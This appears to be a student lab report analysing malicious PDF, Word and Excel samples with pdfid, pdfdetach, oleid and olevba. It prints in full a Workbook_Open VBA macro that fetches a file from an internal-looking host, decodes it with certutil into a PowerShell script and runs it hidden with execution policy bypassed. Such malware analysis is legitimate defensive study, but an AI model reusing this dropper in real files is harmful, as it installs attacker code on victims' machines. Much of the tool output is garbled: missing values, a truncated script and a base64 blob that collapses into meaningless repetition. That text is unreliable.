Naming Convention: i22xxxx_Lab03.pdf

The files provided for this task are potentially malicious. Please open and analyze them only in a sandbox or isolated environment.

DO NOT OPEN ANY MALICIOUS FILE ON WINDOWS HOST

Tool: sudo -H pip install -U oletools

Task 01: Retrieve the two PDF documents from the "cw_pdf_files.7z" archive file. Perform a comprehensive analysis of the two files and present your findings, drawing conclusions as to whether each of the files may be a malicious PDF document. Use the following command to extract the archive:

7z x <filename>

Password: infected

Reference: https://rohit12.medium.com/examining-a-pdf-file-using-two-tools-pdfid-and-pdf-parser-through-command-entered-into-a-661bcf99a11d

https://intezer.com/blog/incident-response/analyze-malicious-pdf-files/

ANALYSIS

I did the pdfid on both files sample1 and sample2, sample1 didn't have any JS files so I let it go there and I looked at the output for sample2, it had some JS files embedded so I was looking at it.

```
(kali® kali)-[~/Desktop/DF labtask/cw_pdf_files]
spdfid cw_pdf_sample2.pdf
PDFiD 0.2.8 cw_pdf_sample2.pdf
PDF Header: %PDF-1.6
                        146
obj
endobj
                        146
stream
 endstream
 xref
 trailer
 startxref
 /Page
 /Encrypt
                          0
 /ObjStm
                          0
 /JS
 /JavaScript
 /AA
                          2
 /OpenAction
                          0
 /AcroForm
 /JBIG2Decode
                          0
 /RichMedia
 /Launch
                          0
 /EmbeddedFile
 /XFA
 /Colors > 2^24
```

I found this file embedded in the pdf

```
(kali@kali)-[~/Desktop/DF labtask/cw_pdf_files]
$ pdfdetach -list cw_pdf_sample2.pdf
1 embedded files
1: /home/davidemaiorca/workspace/ProvaPDF/src/compressed/asdkjwx.pdf
```

I saved the file by this

```
(kali@ kali)-[~/Desktop/DF labtask/cw_pdf_files]
$ pdfdetach -savefile /home/davidemaiorca/workspace/ProvaPDF/src/compressed/asdkjwx.pdf -o smg.pdf cw_pdf_sample2.pdf

(kali@ kali)-[~/Desktop/DF labtask/cw_pdf_files]
$ ls

asdkjwx.dump cw_pdf_sample1.pdf cw_pdf_sample2.dump cw_pdf_sample2.pdf smg.pdf xtract.dump
```

I extracted the files from that extracted pdf

```
(kali@ kali)-[~/Desktop/DF labtask/cw_pdf_files]
$ pdfextract smg.pdf
Extracted 1 PDF streams to 'smg.dump/streams'.
Extracted 1 scripts to 'smg.dump/scripts'.
Extracted 0 attachments to 'smg.dump/attachments'.
Extracted 0 fonts to 'smg.dump/fonts'.
Extracted 0 images to 'smg.dump/images'.
```

I got this script

```
| Column | C
```

Task 02: Perform analysis of Word documents:

Password: infected

1. https://github.com/HuskyHacks/PMAT-labs/raw/main/labs/3-1.GonePhishing-

MaldocAnalysis/Word/docx/incrediblyPolishedResume.7z

ANALYSIS

soleid incredib oleid 0.60.1 - http THIS IS WORK IN PRO Please report any	/Desktop/DF labtask] lyPolishedResume.docx p://decalage.info/ole OGRESS - Check update issue at https://gith lyPolishedResume.docx	tools s regularly ub.com/deca	! lage2/oletools/issues
Indicator	Value	Risk	Description
File format	MS Word 2007+ Document (.docx)	info 	
Container format	OpenXML	linfo	Container type
Encrypted	False	none	The file is not encrypted
VBA Macros	No - 	none	This file does not contain VBA macros.
XLM Macros	l No	none 	This file does not contain Excel 4/XLM macros.
External Relationships docProps	1	HIGH	-+


I did the same oleid command on the docx and it showed that there's no VBA Macros in it but there is an External Relationship which is showing a high risk, now I investigated it further by the command it told me to use "oleobj",

This is what I found, a relationship "attachedTemplate" with a .dotm file named macro3.dotm

2. https://github.com/HuskyHacks/PMAT-labs/raw/main/labs/3-1.GonePhishing-MaldocAnalysis/Excel/sheetsForFinancial.7z


ANALYSIS


I started to analyze the .xlsm file given in this task upon extracting the original zipped file. To check if it has a code embedded in it, we use "oleid [filename]"



The VBA Macros section tells us that there is a macro present and it has a "HIGH" risk.

Now, to actually analyze the macro, I'm going to use the command "olevba [filename]"







This is the full output I got, which gave me the macro stored in "VBA/Module1".

The full macro:

```
Function genStr(Length As Integer)
```

Dim chars As Variant

Dim x As Long

Dim str As String

If Length < 1 Then

Exit Function

End If

```
chars = Array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", _

"k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", _

"y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "!", "@", _

"#", "$", "%", "^", "&", "*", "A", "B", "C", "D", "E", "F", "G", "H", _

"I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", _

"W", "X", "Y", "Z")
```

```
For x = 1 To Length
   Randomize
   str = str & chars(Int((UBound(chars) - LBound(chars) + 1) * Rnd + LBound(chars)))
 Next x
 randStr = str
End Function
       Sub Workbook_Open()
           Dim str1: genStr (17)
           Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
           str2 =
"wgd2l0aCB5b3VyIG93biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZWFzLiBEbyB5b3UgbmVlZCBhIG1hbmF
nZXI/CgpNdXN0IGdvIGZhc3Rlci4uLiBnbywgZ28sIGdvLCBnbywgZ28hIFRoaXMgdGhpbmcgY29tZXMgZnV
sbHkgbG9hZGVkLiBBTS9GTSByYWRpbywgcmVjbGluaW5nIGJ1Y2tldC"
           Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
"WQgd2l0aCB0aGUgZmF0lGxhZHkhIERyaXZlIHVzlG91dCBvZiBoZXJlISBGb3JnZXQgdGhlIGZhdCBsYWR5I
SBZb3UncmUgb2JzZXNzZWQg"
           xHttp.Open "GET", "http://srv3.wonderballfinancial.local/abc123.crt", False
           xHttp.Send
           Dim str9: genStr (10)
           With bStrm
           .Type = 1 '//binary
           .Open
           .write xHttp.responseBody
           .savetofile "encd.crt", 2 '//overwrite
           End With
           str5 =
"WQgd2l0aCB0aGUgZmF0lGxhZHkhIERyaXZlIHVzlG91dCBvZiBoZXJlISBGb3JnZXQgdGhlIGZhdCBsYWR5I
SBZb3UncmUgb2JzZXNzZWQg"
"Z2V0IG15IGVzcHJlc3NvIG1hY2hpbmU/IEp1c3QgbXkgbHVjaywgbm8gaWNlLiBZb3UncmUgYSB2ZXJ5IH
RhbGVudGVkIHlvdW5nIG1hbiwgd2l0aCB5b3VyIG93biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGV2XXIgdGhvdWdodHMgYW5kIGlkZWZ2V0IG11biBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbGyAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAllibBjbAl
5IGVzcHJlc3NvIG1hY2hpbmU/IEp1c3QgbXkgbHVjaywgbm8gaWNlLiBZb3UncmUgYSB2ZXJ5IHRhbGVud
GVkIHlvdW5nIG1hbiwgd2l0aCB5b3VyIG93biBjbGV2ZXIgdGhvdWdodHMgYW5kIGlkZW"
           Shell ("cmd /c certutil -decode encd.crt run.ps1 &
c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ep bypass -W Hidden .\run.ps1")
       End Sub
```